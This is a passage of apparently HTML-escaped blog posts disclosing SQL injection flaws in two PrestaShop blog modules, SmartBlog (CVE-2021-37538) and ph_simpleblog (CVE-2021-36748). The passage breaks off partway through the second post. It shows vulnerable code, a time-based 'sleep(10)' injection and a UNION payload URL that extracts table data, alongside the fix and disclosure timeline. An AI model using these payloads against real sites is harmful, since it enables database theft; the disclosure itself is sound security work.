&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; myTable &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;james\&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; sleep(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)&lt;span style="color:#75715e"&gt;-- -&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All pSQL() does is escape quotes essentially.&lt;/p&gt;
&lt;p&gt;In this module we discovered two SQLis, I will only discuss the archive SQLi in depth as the category SQLi is the same idea but requires a certain setting enabled.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;controllers/front/archive.php&lt;/code&gt; we can see that the &lt;code&gt;day&lt;/code&gt;, &lt;code&gt;month&lt;/code&gt; and &lt;code&gt;year&lt;/code&gt; parameters are passed to the getArchiveResult() function without sanitisation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;initContent&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;parent&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;initContent&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $blogcomment &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Blogcomment&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $day &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getvalue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;day&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $year &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getvalue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;year&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $month &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getvalue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;month&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $title_category &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $posts_per_page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Configuration&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;smartpostperpage&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $limit_start &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $limit &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $posts_per_page;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;boolean&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;page&amp;#39;&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;int&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;page&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $limit_start &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $posts_per_page &lt;span style="color:#f92672"&gt;*&lt;/span&gt; ($c &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SmartBlogPost&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getArchiveResult&lt;/span&gt;($month, $year, $day, $limit_start, $limit);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If we look at the getArchiveResult function in &lt;code&gt;classes/SmartBlogPost.php&lt;/code&gt; we can see they are being used in an SQL query:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getArchiveResult&lt;/span&gt;($month &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, $year &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, $day &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, $limit_start &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, $limit &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $BlogCategory &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $day &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pSQL&lt;/span&gt;($day);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $month &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pSQL&lt;/span&gt;($month);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $year &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pSQL&lt;/span&gt;($year);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $id_lang &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;int&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;Context&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getContext&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;language&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($month &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; $month &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; $year &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; $year &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; $day &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; $day &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;SELECT * FROM &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_DB_PREFIX_&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;smart_blog_post s INNER JOIN &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_DB_PREFIX_&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;smart_blog_post_lang sl ON s.id_smart_blog_post = sl.id_smart_blog_post and sl.id_lang = &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $id_lang &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; INNER JOIN &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_DB_PREFIX_&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;smart_blog_post_shop ps ON ps.id_smart_blog_post = s.id_smart_blog_post AND ps.id_shop = &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;int&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;Context&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getContext&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;shop&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; where s.active = 1 and DAY(s.created) = &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $day &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; and MONTH(s.created) = &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $month &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; AND YEAR(s.created) = &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $year &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; ORDER BY s.id_smart_blog_post DESC&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// skipping a bunch of similar elseif cases
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$posts &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Db&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getInstance&lt;/span&gt;()&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;executeS&lt;/span&gt;($sql))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As we can see the day, month and year values are not surrounded by quotes in the query so the fact that pSQL sanitises these characters is no issue for us as we are already in the query.&lt;/p&gt;
&lt;p&gt;In order to test this I installed the plugin locally and used &lt;code&gt;1 and sleep(10)-- -&lt;/code&gt; as an input and modified the source to print out the query and this is what we see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; ps_smart_blog_post s &lt;span style="color:#66d9ef"&gt;INNER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;JOIN&lt;/span&gt; ps_smart_blog_post_lang sl &lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s.id_smart_blog_post &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sl.id_smart_blog_post &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; sl.id_lang &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INNER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;JOIN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ps_smart_blog_post_shop ps &lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; ps.id_smart_blog_post &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s.id_smart_blog_post
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;AND&lt;/span&gt; ps.id_shop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;where&lt;/span&gt; s.active &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DAY&lt;/span&gt;(s.created) &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; sleep(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)&lt;span style="color:#75715e"&gt;-- - and MONTH(s.created) = 1 AND YEAR(s.created) = 1 ORDER BY s.id_smart_blog_post
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;DESC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The SQLi was also confirmed by the page loading time being delayed by 10 seconds.&lt;/p&gt;
&lt;p&gt;For demonstration purposes here is a payload that will print out a list of the module names from the database:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;https://site.com/module/smartblog/archive?month=1&amp;amp;year=1&amp;amp;day=1
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
(SELECT group_concat(name) FROM
ps_module),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When the page is loaded the list of module names will be in the title of the last post.
(There is a character length limit for group_contact but you can get all the modules in two requests by flipping how the rows are ordered on the second request).&lt;/p&gt;
&lt;h1 id="fixing-the-issue" &gt;Fixing the issue
&lt;/h1&gt;&lt;p&gt;In most of the cases the values being sanitised were numbers therefore casting them to integers was more appropriate than using pSQL. In cases where pSQL was used the values were surrounded with quotes in the query.&lt;/p&gt;
&lt;p&gt;As mentioned in the previous post however if you are developing a Prestashop module it is strongly reccomended to utilise PDO for your SQL queries as described in Prestashop’s &lt;a href="https://doc.prestashop.com/pages/viewpage.action?pageId=51184692"&gt;Best Practices for the DB Class&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I contacted SmartDataSoft and they were quick to fix the issue with &lt;a href="https://github.com/smartdatasoft/smartblog/commit/dcec2f77d98841ec478ca678ee501606224961b4"&gt;this commit&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/06/2021&lt;/td&gt;
&lt;td&gt;Issue discovered during a pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13/07/2021&lt;/td&gt;
&lt;td&gt;Reported issue to SmartDataSoft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15/07/2021&lt;/td&gt;
&lt;td&gt;SmartDataSoft patched the issue in version 4.06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26/07/2021&lt;/td&gt;
&lt;td&gt;Number &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37538"&gt;CVE-2021-37538&lt;/a&gt; assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21/08/2021&lt;/td&gt;
&lt;td&gt;Blog post released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24/08/2021&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/pajoda"&gt;pajoda&lt;/a&gt; made a &lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/2475"&gt;Nuclei template&lt;/a&gt; for this CVE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>SQLi in ph_simpleblog CVE-2021-36748</title><link>/posts/ph_simpleblog_sqli/</link><pubDate>Wed, 18 Aug 2021 00:00:00 +0000</pubDate><guid>/posts/ph_simpleblog_sqli/</guid><description>&lt;p&gt;This blog post details an SQLi I found in Blog for Prestashop (ph_simpleblog) by &lt;a href="https://prestahome.com/"&gt;Prestahome&lt;/a&gt;, it is also my first CVE 😊&lt;/p&gt;
&lt;p&gt;To begin with I had to identify that the module was installed, it is a blog plugin so this can generally be spotted by looking at the page source of the blog but you can also test if Prestashop modules are installed more directly by checking &lt;code&gt;https://example.com/modules/ph_simpleblog/config.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This Prestashop module uses the controller functionality so that&amp;rsquo;s where I started to look as it&amp;rsquo;s usually where the user input will go first.&lt;/p&gt;
&lt;p&gt;The controllers of interest were &lt;code&gt;controllers/front/list.php&lt;/code&gt; and &lt;code&gt;controllers/front/single.php&lt;/code&gt;. In Prestashop modules the init() and initContent() functions are called whenever the endpoint is reached.
In the init function we can see that the &lt;code&gt;sb_category&lt;/code&gt; parameter isn&amp;rsquo;t sanitised.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;parent&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sb_category &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Tools&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;sb_category&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;($sb_category) $this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;sb_category&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $sb_category;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//more code...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
Later in the initContent() function sb_category gets passed to the getByRewrite() function in the SimpleBlogCategory class.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;initContent&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;($this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;sb_category&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;context&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;smarty&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;assign&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;is_category&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $SimpleBlogCategory &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;SimpleBlogCategory&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getByRewrite&lt;/span&gt;($this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;sb_category&lt;/span&gt;, $id_lang);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
In the getByRewrite function we can see it gets used in an SQL query without any sanitisation.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getByRewrite&lt;/span&gt;($rewrite &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, $id_lang &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$rewrite) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DbQuery&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $sql&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;select&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;l.id_simpleblog_category&amp;#39;&lt;/span&gt;);
